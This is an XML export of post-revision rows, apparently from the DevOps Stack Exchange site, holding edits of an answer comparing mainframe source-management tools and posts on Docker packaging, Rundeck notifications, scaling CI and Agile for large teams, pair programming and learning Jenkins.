  <row Id="814" PostHistoryTypeId="5" PostId="275" RevisionGUID="c98a3a50-5072-475c-b9fb-540ef3df4a4c" CreationDate="2017-03-03T11:24:23.207" UserId="40" Comment="added 306 characters in body" Text="From my own experience, these are some the typical softwares packages:&#xD;&#xA;&#xD;&#xA;- [CA Endevor][1].&#xD;&#xA;- [SERENA ChangeMan ZMF][2].&#xD;&#xA;- [Compuware ISPW][3].&#xD;&#xA;- [IBM SCLM][4].&#xD;&#xA;&#xD;&#xA;All of these packages can manage, more or less out-of-the-box, anything that's stored in regular &quot;PDS&quot; components (a typical file structure used in z/OS).&#xD;&#xA;&#xD;&#xA;When it comes to a company evaluating which one best fits for them, it often boils down to these criteria:&#xD;&#xA;&#xD;&#xA;- [IBM SCLM][4] is perceived as free of any license/maintenance fees (actually it's included in the z/OS license, which itself is not free). So if no dedicated budget is available, then this is often the software package that gets selected (better then no package at all). If there is a budget, then this one is often the one that doesn't make it to the shortlist.&#xD;&#xA;&#xD;&#xA;- [CA Endevor][1] has the highest install base. Its key strength, IMO, is the way that you can trace down for each executable how it has been compiled/linked using which version of which building blocks (copybooks, etc).&#xD;&#xA;&#xD;&#xA;- [SERENA ChangeMan ZMF][2]'s install base is quite a bit below the one from [CA Endevor][1]. Some of its key strengths are:&#xD;&#xA;&#xD;&#xA;  - the notion of &quot;packaging&quot; related software changes, which is at the core of it.&#xD;&#xA;  - its capabilites to deploy softwares towards physically remote sites.&#xD;&#xA;&#xD;&#xA;- [Compuware ISPW][3] is like the &quot;new kid in town&quot; (as compared to the [CA Endevor][1] or [SERENA ChangeMan ZMF][2] alternative). It is commonly perceived as the solution where &quot;any custom SCM requirements can be implemented with it, with a relatively low effort to do so&quot;.&#xD;&#xA;&#xD;&#xA;Looking at it from an architecture standpoint, then [SERENA ChangeMan ZMF][2] and [Compuware ISPW][3] appear to have the most open architecture, which is what you'll need if you want to tune it to make it manage software components written in a language that is (what I call) more exotic. I.e. because the software components are stored in file systems that are not stored in standard PDSs. Some examples of those languages are:&#xD;&#xA;&#xD;&#xA;- Natural (stored in ADABAS).&#xD;&#xA;- ADS Online (stored in IDMS).&#xD;&#xA;- QMF (stored in DB2).&#xD;&#xA;- Cool:Gen (stored in &quot;encyclopedias&quot;).&#xD;&#xA;&#xD;&#xA;Attention: having an &quot;open architecture&quot; is great to have it fit your custom requirements (the sky is the limit). However when it comes to upgrading to new releases, it comes with a price to get those custom requirements upgraded also.&#xD;&#xA;&#xD;&#xA;**Note**: rather accidently, during a CA Endevor training for SERENA ChangeMan ZMF experts, we discovered that [CA Endevor][1] and [SERENA ChangeMan ZMF][2] appear to have the same roots (from somewhere in the lat 1980s ...). For those who are a bit familiar with both of them: go check what the functionality is of these utility programs, with similarly named names ... (you'll be shocked ...):&#xD;&#xA;&#xD;&#xA;- PGM=CONWRITE versus PGM=CMNWRITE.&#xD;&#xA;- PGM=CONPRINT versus PGM=SERPRINT.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Endevor&#xD;&#xA;  [2]: http://serena.com/products/changeman-zmf/index.html&#xD;&#xA;  [3]: http://www.compuware.com/en_us/use-cases/source-code-management.html&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/IBM_Software_Configuration_and_Library_Manager" ContentLicense="CC BY-SA 3.0" />
  <row Id="815" PostHistoryTypeId="5" PostId="275" RevisionGUID="01aa4caa-dabd-47c9-892a-72ac33818ebd" CreationDate="2017-03-03T11:45:16.777" UserId="40" Comment="added 306 characters in body" Text="From my own experience, these are some the typical softwares packages:&#xD;&#xA;&#xD;&#xA;- [CA Endevor][1].&#xD;&#xA;- [SERENA ChangeMan ZMF][2].&#xD;&#xA;- [Compuware ISPW][3].&#xD;&#xA;- [IBM SCLM][4].&#xD;&#xA;&#xD;&#xA;All of these packages can manage, more or less out-of-the-box, anything that's stored in regular &quot;PDS&quot; components (a typical file structure used in z/OS).&#xD;&#xA;&#xD;&#xA;When it comes to a company evaluating which one best fits for them, it often boils down to these criteria:&#xD;&#xA;&#xD;&#xA;- [IBM SCLM][4] is perceived as free of any license/maintenance fees (actually it's included in the z/OS license, which itself is not free). So if no dedicated budget is available, then this is often the software package that gets selected (better then no package at all). If there is a budget, then this one is often the one that doesn't make it to the shortlist.&#xD;&#xA;&#xD;&#xA;- [CA Endevor][1] has the highest install base. Its key strength, IMO, is the way that you can trace down for each executable how it has been compiled/linked using which version of which building blocks (copybooks, etc).&#xD;&#xA;&#xD;&#xA;- [SERENA ChangeMan ZMF][2]'s install base is quite a bit below the one from [CA Endevor][1]. Some of its key strengths are:&#xD;&#xA;&#xD;&#xA;  - the notion of &quot;packaging&quot; related software changes, which is at the core of it.&#xD;&#xA;  - its capabilites to deploy softwares towards physically remote sites.&#xD;&#xA;&#xD;&#xA;- [Compuware ISPW][3] is like the &quot;new kid in town&quot; (as compared to the [CA Endevor][1] or [SERENA ChangeMan ZMF][2] alternative). It is commonly perceived as the solution where &quot;any custom SCM requirements can be implemented with it, with a relatively low effort to do so&quot;.&#xD;&#xA;&#xD;&#xA;Looking at it from an architecture standpoint, then [SERENA ChangeMan ZMF][2] and [Compuware ISPW][3] appear to have the most open architecture, which is what you'll need if you want to tune it to make it manage software components written in a [4GL][5] language that is (what some call) more exotic. I.e. because the software components are stored in file systems that are not stored in standard PDSs. Some examples of those languages are:&#xD;&#xA;&#xD;&#xA;- [Natural][6] (stored in [ADABAS][7]).&#xD;&#xA;- [ADS Online][8] (stored in [IDMS][9]).&#xD;&#xA;- [QMF][10] (stored in [DB2][11]).&#xD;&#xA;- [CA Gen][12] (stored in &quot;encyclopedias&quot;).&#xD;&#xA;&#xD;&#xA;Attention: having an &quot;open architecture&quot; is great to have it fit your custom requirements (the sky is the limit). However when it comes to upgrading to new releases, it comes with a price to get those custom requirements upgraded also.&#xD;&#xA;&#xD;&#xA;**Note**: rather accidentally, during a CA Endevor training for SERENA ChangeMan ZMF experts, we discovered that [CA Endevor][1] and [SERENA ChangeMan ZMF][2] appear to have the same roots (from somewhere in the lat 1980s ...). For those who are a bit familiar with both of them: go check what the functionality is of these utility programs, with similarly named names ... (you'll be shocked ...):&#xD;&#xA;&#xD;&#xA;- PGM=CONWRITE versus PGM=CMNWRITE.&#xD;&#xA;- PGM=CONPRINT versus PGM=SERPRINT.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Endevor&#xD;&#xA;  [2]: http://serena.com/products/changeman-zmf/index.html&#xD;&#xA;  [3]: http://www.compuware.com/en_us/use-cases/source-code-management.html&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/IBM_Software_Configuration_and_Library_Manager&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Fourth-generation_programming_language&#xD;&#xA;  [6]: http://www2.softwareag.com/corporate/products/adabas_natural/natural/default.aspx&#xD;&#xA;  [7]: https://en.wikipedia.org/wiki/ADABAS&#xD;&#xA;  [8]: https://en.wikipedia.org/wiki/ADSO&#xD;&#xA;  [9]: https://en.wikipedia.org/wiki/IDMS&#xD;&#xA;  [10]: https://en.wikipedia.org/wiki/IBM_Query_Management_Facility&#xD;&#xA;  [11]: https://en.wikipedia.org/wiki/IBM_DB2&#xD;&#xA;  [12]: https://en.wikipedia.org/wiki/Computer_Aided_Software_Engineering" ContentLicense="CC BY-SA 3.0" />
  <row Id="816" PostHistoryTypeId="2" PostId="279" RevisionGUID="7f015ce2-fdc0-40c9-b32d-c0f2e894ba32" CreationDate="2017-03-03T11:52:30.627" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="817" PostHistoryTypeId="1" PostId="279" RevisionGUID="7f015ce2-fdc0-40c9-b32d-c0f2e894ba32" CreationDate="2017-03-03T11:52:30.627" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="818" PostHistoryTypeId="2" PostId="280" RevisionGUID="cbd71fcb-deb2-4f5d-bcdd-234ffacc5fb7" CreationDate="2017-03-03T11:52:30.627" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="819" PostHistoryTypeId="1" PostId="280" RevisionGUID="cbd71fcb-deb2-4f5d-bcdd-234ffacc5fb7" CreationDate="2017-03-03T11:52:30.627" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="820" PostHistoryTypeId="5" PostId="275" RevisionGUID="688d6506-fed9-459f-a445-851f85c642d6" CreationDate="2017-03-03T12:07:03.713" UserId="40" Comment="added 441 characters in body" Text="From my own experience, these are some the typical softwares packages:&#xD;&#xA;&#xD;&#xA;- [CA Endevor][1].&#xD;&#xA;- [SERENA ChangeMan ZMF][2].&#xD;&#xA;- [Compuware ISPW][3].&#xD;&#xA;- [IBM SCLM][4].&#xD;&#xA;&#xD;&#xA;All of these packages can manage, more or less out-of-the-box, anything that's stored in regular &quot;PDS&quot; components (a typical file structure used in z/OS).&#xD;&#xA;&#xD;&#xA;When it comes to a company evaluating which one best fits for them, it often boils down to these criteria:&#xD;&#xA;&#xD;&#xA;- [IBM SCLM][4] is perceived as free of any license/maintenance fees (actually it's included in the z/OS license, which itself is not free). So if no dedicated budget is available, then this is often the software package that gets selected (better then no package at all). If there is a budget, then this one is often the one that doesn't make it to the shortlist.&#xD;&#xA;&#xD;&#xA;- [CA Endevor][1] has the highest install base. Its key strength, IMO, is the way that you can trace down for each executable how it has been compiled/linked using which version of which building blocks (copybooks, etc).&#xD;&#xA;&#xD;&#xA;- [SERENA ChangeMan ZMF][2]'s install base is quite a bit below the one from [CA Endevor][1]. Some of its key strengths are:&#xD;&#xA;&#xD;&#xA;  - the notion of &quot;packaging&quot; related software changes, which is at the core of it.&#xD;&#xA;  - its capabilites to deploy softwares towards physically remote sites.&#xD;&#xA;&#xD;&#xA;- [Compuware ISPW][3] is like the &quot;new kid in town&quot; (as compared to the [CA Endevor][1] or [SERENA ChangeMan ZMF][2] alternative). It is commonly perceived as the solution where &quot;any custom SCM requirements can be implemented with it, with a relatively low effort to do so&quot;.&#xD;&#xA;&#xD;&#xA;Looking at it from an architecture standpoint, then [SERENA ChangeMan ZMF][2] and [Compuware ISPW][3] appear to have the most open architecture, which is what you'll need if you want to tune it to make it manage software components written in a [4GL][5] language that is (what some call) more exotic, as compared to [3GL][6] languages such as [COBOL][7], [PL/I][8], etc. I.e. because the software components are stored in file systems that are not stored in standard PDSs. Some examples of those languages are:&#xD;&#xA;&#xD;&#xA;- [Natural][9] (stored in [ADABAS][10] DBMS).&#xD;&#xA;- [ADS Online][11] (stored in [IDMS][12] DBMS).&#xD;&#xA;- [QMF][13] (stored in [DB2][14] DBMS).&#xD;&#xA;- [CA Gen][15] (stored in &quot;encyclopedias&quot;).&#xD;&#xA;- [CSP][16] (stored in [VSAM][17] file format).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Attention: having an &quot;open architecture&quot; is great to have it fit your custom requirements (the sky is the limit). However when it comes to upgrading to new releases, it comes with a price to get those custom requirements upgraded also.&#xD;&#xA;&#xD;&#xA;**Note**: rather accidentally, during a CA Endevor training for SERENA ChangeMan ZMF experts, we discovered that [CA Endevor][1] and [SERENA ChangeMan ZMF][2] appear to have the same roots (from somewhere in the late 1980s ...). For those who are a bit familiar with both of them: go check what the functionality is of these utility programs, with similarly named names ... (you'll be shocked ...):&#xD;&#xA;&#xD;&#xA;- PGM=CONWRITE versus PGM=CMNWRITE.&#xD;&#xA;- PGM=CONPRINT versus PGM=SERPRINT.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Endevor&#xD;&#xA;  [2]: http://serena.com/products/changeman-zmf/index.html&#xD;&#xA;  [3]: http://www.compuware.com/en_us/use-cases/source-code-management.html&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/IBM_Software_Configuration_and_Library_Manager&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Fourth-generation_programming_language&#xD;&#xA;  [6]: https://en.wikipedia.org/wiki/Third-generation_programming_language&#xD;&#xA;  [7]: https://en.wikipedia.org/wiki/COBOL&#xD;&#xA;  [8]: https://en.wikipedia.org/wiki/PL/I&#xD;&#xA;  [9]: http://www2.softwareag.com/corporate/products/adabas_natural/natural/default.aspx&#xD;&#xA;  [10]: https://en.wikipedia.org/wiki/ADABAS&#xD;&#xA;  [11]: https://en.wikipedia.org/wiki/ADSO&#xD;&#xA;  [12]: https://en.wikipedia.org/wiki/IDMS&#xD;&#xA;  [13]: https://en.wikipedia.org/wiki/IBM_Query_Management_Facility&#xD;&#xA;  [14]: https://en.wikipedia.org/wiki/IBM_DB2&#xD;&#xA;  [15]: https://en.wikipedia.org/wiki/Computer_Aided_Software_Engineering&#xD;&#xA;  [16]: https://en.wikipedia.org/wiki/IBM_Cross_System_Product&#xD;&#xA;  [17]: https://en.wikipedia.org/wiki/Virtual_storage_access_method" ContentLicense="CC BY-SA 3.0" />
  <row Id="821" PostHistoryTypeId="2" PostId="281" RevisionGUID="5f5510c3-090f-464a-865e-260970aa424f" CreationDate="2017-03-03T12:23:11.680" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="822" PostHistoryTypeId="1" PostId="281" RevisionGUID="5f5510c3-090f-464a-865e-260970aa424f" CreationDate="2017-03-03T12:23:11.680" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="823" PostHistoryTypeId="2" PostId="282" RevisionGUID="b59bfe66-4258-42e1-b3f1-fa9519dbbdaf" CreationDate="2017-03-03T12:23:11.680" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="824" PostHistoryTypeId="1" PostId="282" RevisionGUID="b59bfe66-4258-42e1-b3f1-fa9519dbbdaf" CreationDate="2017-03-03T12:23:11.680" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="825" PostHistoryTypeId="2" PostId="283" RevisionGUID="a54a1566-3b65-4386-8e75-5fffb187b7d7" CreationDate="2017-03-03T12:32:13.863" UserId="13" Text="Yes, there's drawbacks. &#xD;&#xA;&#xD;&#xA;With a .deb package you won't be able to have two version of the same application on the same host. You will have to rely on the distribution available packages, if your app rely on nodejs for example, either you'll be stuck with the distribution version or you'll have to install your own.&#xD;&#xA;&#xD;&#xA;Now when you want to host multiples applications on the same host, you'll be hitting a wall very quickly when they depend on the same thing (let's keep nodejs here) in two different versions.&#xD;&#xA;&#xD;&#xA;The main goal of docker is to isolate each application from the hosting system and others applications on the same host. there's two reason to do this isolation:&#xD;&#xA; 1. to avoid compromission of the app to be able to take over the host or impact another application&#xD;&#xA; 2. to give the application its exact dependencies and prevent it to be impacted by a system update or another application dependency.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="826" PostHistoryTypeId="2" PostId="284" RevisionGUID="c4ed7047-9225-480e-9d4a-fef7a31c82c2" CreationDate="2017-03-03T12:41:34.867" UserId="185" Text="We are using rundeck to scan logfiles for a service, and take action depending on what is found there. Basically, for each item found, for which a records does not exists, a git repository is initialized and a few rest endpoints are called, but that's not the point.&#xD;&#xA;&#xD;&#xA;We are setting up the job to run as scheduled, say every couple of hours, and to send notification on failure, and additionally to send notification on success only when at least one action has been taken (ie. the shell script in the task entered the loop at least once). The script is written so that it only emits output on stdout when items to be actioned are found.&#xD;&#xA;&#xD;&#xA;Is there a way in rundeck to trigger notification with this requirement? Or a way to script it without writing a plugin from scratch?&#xD;&#xA;&#xD;&#xA;One possible workaround would be to switch the failure notification trigger off, and make the script return non-zero in case of no items actioned, but I am not comfortable in doing that." ContentLicense="CC BY-SA 3.0" />
  <row Id="827" PostHistoryTypeId="1" PostId="284" RevisionGUID="c4ed7047-9225-480e-9d4a-fef7a31c82c2" CreationDate="2017-03-03T12:41:34.867" UserId="185" Text="How to send notification only in case of job output being non-empty" ContentLicense="CC BY-SA 3.0" />
  <row Id="828" PostHistoryTypeId="3" PostId="284" RevisionGUID="c4ed7047-9225-480e-9d4a-fef7a31c82c2" CreationDate="2017-03-03T12:41:34.867" UserId="185" Text="&lt;notifications&gt;&lt;rundeck&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="829" PostHistoryTypeId="2" PostId="285" RevisionGUID="09c35b91-5509-4484-868f-f03b255927f8" CreationDate="2017-03-03T12:50:13.197" UserId="13" Text="Well, you won't be able to apply an Agile methodology to a large team. One of usual principle is to work on Pizza Team (Less than 10 persons which can share a large pizza for diner together) because the lack of formalism advocated by Agile process makes it hardly applicable to a large team, the information would be scattered and some would be lost in the crowd.&#xD;&#xA;&#xD;&#xA;So before thinking about the CI system, you'll have to review the organization around the software you build.  &#xD;&#xA;This mainly need to refactor a large project in smaller independent pieces, this could be separate softwares (and you'll take the path of [microservices](https://en.wikipedia.org/wiki/Microservices)) or it could just be an architecture design within the software, where a class/object/library is given to a small team. This team has to document its service input and output ([service contract/service orientation](https://en.wikipedia.org/wiki/Standardized_service_contract)).&#xD;&#xA;&#xD;&#xA;Once this is done you can split the responsibility of each independent piece to a smaller team which will be able to apply an Agile process.  &#xD;&#xA;This may solve the CI/CD problem, splitting the code base would allow each team to follow it's own pace, as long as it's interface is properly versioned and that the input/output are fixed for a type of call you can make parts of the product evolve while some other part keep a previous behavior.&#xD;&#xA;&#xD;&#xA;The main drawback is that the service contracts from each part *must* be compatible between versions in use, which need a dependency system to know which part use which version of what before dropping an unused version of an API. This brings problems to make breaking changes and usually need a careful transverse planning between producer and consumers." ContentLicense="CC BY-SA 3.0" />
  <row Id="830" PostHistoryTypeId="2" PostId="286" RevisionGUID="1c25a8d0-7070-43fb-91e8-01b7ed537993" CreationDate="2017-03-03T12:59:50.253" UserId="13" Text="What I have did, and this is only subjective, is as follow:&#xD;&#xA;&#xD;&#xA;When a manager thinking about a due date wish to add people into my team to cut the time needed and seems under MMM, I first debate with him on why this could be bad. My favorite analogy for this is to remember them that if one woman can have a baby in nine month, nine women won't have one baby in one month, but they'll have nine babies in nine months. The time isn't cut, just the parallel processing is better.&#xD;&#xA;&#xD;&#xA;When the decision is forced upon our team, we usually try to either split even more some tasks, and when not possible we usually rely on [pair programming](https://en.wikipedia.org/wiki/Pair_programming), where one is responsible for typing, and the other dictate the code (and switching periodically).  &#xD;&#xA;The code writing itself is slower, but there's fewer typo/linting and bugs when testing because of the inevitable review done while writing." ContentLicense="CC BY-SA 3.0" />
  <row Id="831" PostHistoryTypeId="5" PostId="286" RevisionGUID="5076d496-58dd-4f1c-91cd-9b5b0254c6a6" CreationDate="2017-03-03T13:14:08.577" UserId="13" Comment="added 100 characters in body" Text="What I have did, and this is only subjective, is as follow:&#xD;&#xA;&#xD;&#xA;When a manager thinking about a due date wish to add people into my team to cut the time needed and seems under MMM, I first debate with him on why this could be bad. My favorite analogy for this is to remember them that if one woman can have a baby in nine month, nine women won't have one baby in one month, but they'll have nine babies in nine months. The time isn't cut, just the parallel processing is better.&#xD;&#xA;&#xD;&#xA;When the decision is forced upon our team, we usually try to either split even more some tasks, and when not possible we usually rely on [pair programming](https://en.wikipedia.org/wiki/Pair_programming), where one is responsible for typing, and the other dictate the code (and switching periodically).  &#xD;&#xA;The code writing itself is slower, but there's fewer typo/linting and bugs when testing because of the inevitable review done while writing. I feel the overall code quality is also a little better, but I've no metrics to support that claim." ContentLicense="CC BY-SA 3.0" />
  <row Id="832" PostHistoryTypeId="10" PostId="256" RevisionGUID="a04cf218-344e-4ca7-8374-4d4ea493852a" CreationDate="2017-03-03T13:25:30.850" UserId="-1" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:57,&quot;DisplayName&quot;:&quot;Romeo Ninov&quot;},{&quot;Id&quot;:299,&quot;DisplayName&quot;:&quot;JonMark Perry&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:293,&quot;DisplayName&quot;:&quot;Rsf&quot;},{&quot;Id&quot;:441,&quot;DisplayName&quot;:&quot;Thomas Owens&quot;}]}" />
  <row Id="833" PostHistoryTypeId="5" PostId="267" RevisionGUID="59039623-5638-400a-9cb0-1f2bfa71d538" CreationDate="2017-03-03T13:28:44.670" UserId="14" Comment="Avoid 'sw' abbreviation" Text="Using continuous integration represents an (almost) mandatory requirement for a software project to be agile. And without CI there can be no continuous delivery/deployment.&#xD;&#xA;&#xD;&#xA;But CI can face scalability challenges, see http://devops.stackexchange.com/questions/265/how-can-continuous-integration-scale-for-very-large-projects-teams.&#xD;&#xA;&#xD;&#xA;Splitting work on multiple smaller pre-integration branches would allow work on those branches to be agile, but then merging of those pre-integration branches needs to be handled. And those would be massive, unpredictable merges, rather difficult to plan and incorporate into an Agile framework. Until the merge is *actually* performed one can't really tell if it'll take 2 hours, 2 days or 2 entire sprints to complete.&#xD;&#xA;&#xD;&#xA;So how can Agile methodologies still be applied to massive, monolithic software projects with 100s/1000s of developers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="834" PostHistoryTypeId="4" PostId="267" RevisionGUID="59039623-5638-400a-9cb0-1f2bfa71d538" CreationDate="2017-03-03T13:28:44.670" UserId="14" Comment="Avoid 'sw' abbreviation" Text="How can Agile methodologies, CI/CD be applied to massive, monolithic software projects with 100s/1000s of developers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="835" PostHistoryTypeId="24" PostId="267" RevisionGUID="59039623-5638-400a-9cb0-1f2bfa71d538" CreationDate="2017-03-03T13:28:44.670" Comment="Proposed by 14 approved by 13, 47 edit id of 74" ContentLicense="CC BY-SA 3.0" />
  <row Id="836" PostHistoryTypeId="5" PostId="265" RevisionGUID="fb0a5321-80bb-4267-811a-b5db0c72b8df" CreationDate="2017-03-03T13:29:17.937" UserId="14" Comment="Typos; hyphen to em dash" Text="Traditionally CI systems only monitor the quality of the code in an integration branch, signalling when regressions occur. Human intervention is required for repairs.&#xD;&#xA;&#xD;&#xA;As the number of developers working on the same branch increases the risk of breakages/blockages increases. Eventually a point is reached where on average by the time a breakage is fixed a new one appears—progress on the branch becoming effectively negligible.&#xD;&#xA;&#xD;&#xA;Splitting into multiple teams each working on a separate integration branch which would be merged at a later moment *might* help, but greatly extends the project duration, since it simply delays the necessary integration for a later moment while adding churn/noise/technical dept related to the partial integration from individual branch merges. Costs also increase due to CI setups for each of the branches, each with their own build/QA resources, etc. And overall quality is not necessarily better.&#xD;&#xA;&#xD;&#xA;Scalability is, at best, dubious.&#xD;&#xA;&#xD;&#xA;Is there a method for making such large projects actually scale?" ContentLicense="CC BY-SA 3.0" />
  <row Id="837" PostHistoryTypeId="24" PostId="265" RevisionGUID="fb0a5321-80bb-4267-811a-b5db0c72b8df" CreationDate="2017-03-03T13:29:17.937" Comment="Proposed by 14 approved by 13, 47 edit id of 75" ContentLicense="CC BY-SA 3.0" />
  <row Id="838" PostHistoryTypeId="5" PostId="276" RevisionGUID="10402bdb-fcb1-4518-ab45-bba1020abf15" CreationDate="2017-03-03T13:33:14.187" UserId="460" Comment="fixed typos" Text="Yes, but it's by preventing the things you mention in your question as much as possible. &#xD;&#xA;You are right that there are only so much developers that can work on the same code before things become unmanageable. You need someone or something that has an overview of all changes and makes sure integration works fine and regression doesn't occur. This is hard to scale if everything happens in one repository.&#xD;&#xA;&#xD;&#xA;Before starting any work you need to separate functionality in such a way that things can be integrated later with little or no effort.&#xD;&#xA;This means that you want to split functionality into parts that are independent, or at least have as little dependencies as possible.&#xD;&#xA;How you do this depends very much on the product you are developing. In the past separation of functionality was done by creating different libraries. The downside to this is that you need a good method of managing those libraries. Old versions of Windows for example had a bad library management system which caused the infamous [DLL Hell](https://en.wikipedia.org/wiki/DLL_Hell).&#xD;&#xA;Nowadays micro-services is (becoming) a popular way to do this, although this also has it's drawbacks (e.g. communication overhead, more services to monitor) &#xD;&#xA;&#xD;&#xA;If separation based on functionality is difficult, another option may be to separate development in time. Instead of multiple teams working simultaneously on many different features, you have 1 team that works on only 1 or a few features at a time.&#xD;&#xA;&#xD;&#xA;When separation of work is not possible, you'll need tools and tests that make sure things align. Automated unit and integration testing can be a big help here, but ultimately there will be limits to how big a project or team is to be workable.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="839" PostHistoryTypeId="2" PostId="287" RevisionGUID="d2a057c0-6aab-4153-ac51-54c29742d041" CreationDate="2017-03-03T13:33:52.950" UserId="293" Text="&gt; As the number of developers working on the same branch increases the risk of breakages/blockages increases. Eventually a point is reached where on average by the time a breakage is fixed a new one appears&#xD;&#xA;&#xD;&#xA;While the first part of the sentence is probably statistically correct I disagree with the second.&#xD;&#xA;&#xD;&#xA;CI and integration branches cannot defeat GIGO (garbage in garbage out) If the developers has no discipline then you will end up in a halted branch, but integration branch tests should only act as the lat barrier, not the first.&#xD;&#xA;&#xD;&#xA;Developers should use proper coding standards, code reviews, local unit tests and possibly pre-integration branch tests to make collisions less likely.&#xD;&#xA;&#xD;&#xA;I am working daily on such a system with hundreds of contributors and surprisingly it's uncommon to see  it hangs.&#xD;&#xA;&#xD;&#xA;I don't have enough data but it might be true that cost is high, on the other hand it's difficult to judge the alternative cost of late integration and bugs." ContentLicense="CC BY-SA 3.0" />
  <row Id="840" PostHistoryTypeId="2" PostId="288" RevisionGUID="e14fc08f-8e08-4c71-a86b-facad17b872a" CreationDate="2017-03-03T13:39:23.663" UserId="293" Text="DevOps should take part in this decision, but so are developers, product managers, testers, support and possibly even sales and marketing to some degree.&#xD;&#xA;&#xD;&#xA;Branch strategy might affect the final product release, so it shouldn't be a one team decision." ContentLicense="CC BY-SA 3.0" />
  <row Id="841" PostHistoryTypeId="2" PostId="289" RevisionGUID="e53d89cc-1ada-4ff8-9ce6-18beb37933f6" CreationDate="2017-03-03T14:01:42.267" UserId="13" Text="The way I could think of are:&#xD;&#xA;&#xD;&#xA;Writing your own plugin, from the notification plugin [example page](http://rundeck.org/docs/developer/notification-plugin.html#notification-handlers), adapting the [example mail notification](https://github.com/rundeck/rundeck/blob/master/examples/example-groovy-notification-plugins/MailNotificationPlugin.groovy) code could be a way.&#xD;&#xA;&#xD;&#xA;Disabling success notifications in rundeck, and handle the success notification part in your script itself. This way that's your script responsibility to warn it did something in normal state and it's still rundeck responsibility to warn you the script failed.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="842" PostHistoryTypeId="2" PostId="290" RevisionGUID="5d763861-73bf-4fc4-b64d-d678375791d9" CreationDate="2017-03-03T14:25:18.200" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="843" PostHistoryTypeId="1" PostId="290" RevisionGUID="5d763861-73bf-4fc4-b64d-d678375791d9" CreationDate="2017-03-03T14:25:18.200" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="844" PostHistoryTypeId="2" PostId="291" RevisionGUID="3c2c8e6c-f6cb-4999-80b9-b7e3ff83a0ea" CreationDate="2017-03-03T14:25:18.200" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="845" PostHistoryTypeId="1" PostId="291" RevisionGUID="3c2c8e6c-f6cb-4999-80b9-b7e3ff83a0ea" CreationDate="2017-03-03T14:25:18.200" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="846" PostHistoryTypeId="2" PostId="292" RevisionGUID="41324a12-beea-4cf7-bd69-ecae8cccc170" CreationDate="2017-03-03T14:46:34.397" UserId="40" Text="Assume somebody familiar with DevOps, but new to [Jenkins][1], wants to get started with Jenkins, e.g. to build a career related to it.&#xD;&#xA;&#xD;&#xA;How would you answer these kinds of questions:&#xD;&#xA;&#xD;&#xA;- How to learn Jenkins, and where to start?&#xD;&#xA;- What else do I need to learn/know for Jenkins?&#xD;&#xA;- How could a training program look like?&#xD;&#xA;- How to gain more experience (to become an expert in it)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="847" PostHistoryTypeId="1" PostId="292" RevisionGUID="41324a12-beea-4cf7-bd69-ecae8cccc170" CreationDate="2017-03-03T14:46:34.397" UserId="40" Text="How to get started with Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="848" PostHistoryTypeId="3" PostId="292" RevisionGUID="41324a12-beea-4cf7-bd69-ecae8cccc170" CreationDate="2017-03-03T14:46:34.397" UserId="40" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="849" PostHistoryTypeId="2" PostId="293" RevisionGUID="7d84ef10-76d8-4a37-b2d3-924bd10e57ab" CreationDate="2017-03-03T14:55:28.927" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="850" PostHistoryTypeId="1" PostId="293" RevisionGUID="7d84ef10-76d8-4a37-b2d3-924bd10e57ab" CreationDate="2017-03-03T14:55:28.927" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="851" PostHistoryTypeId="2" PostId="294" RevisionGUID="9ac1cd2b-4036-41b1-82ce-6269fd73445c" CreationDate="2017-03-03T14:55:28.927" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="852" PostHistoryTypeId="1" PostId="294" RevisionGUID="9ac1cd2b-4036-41b1-82ce-6269fd73445c" CreationDate="2017-03-03T14:55:28.927" UserId="-1" ContentLicense="CC BY-SA 3.0" />
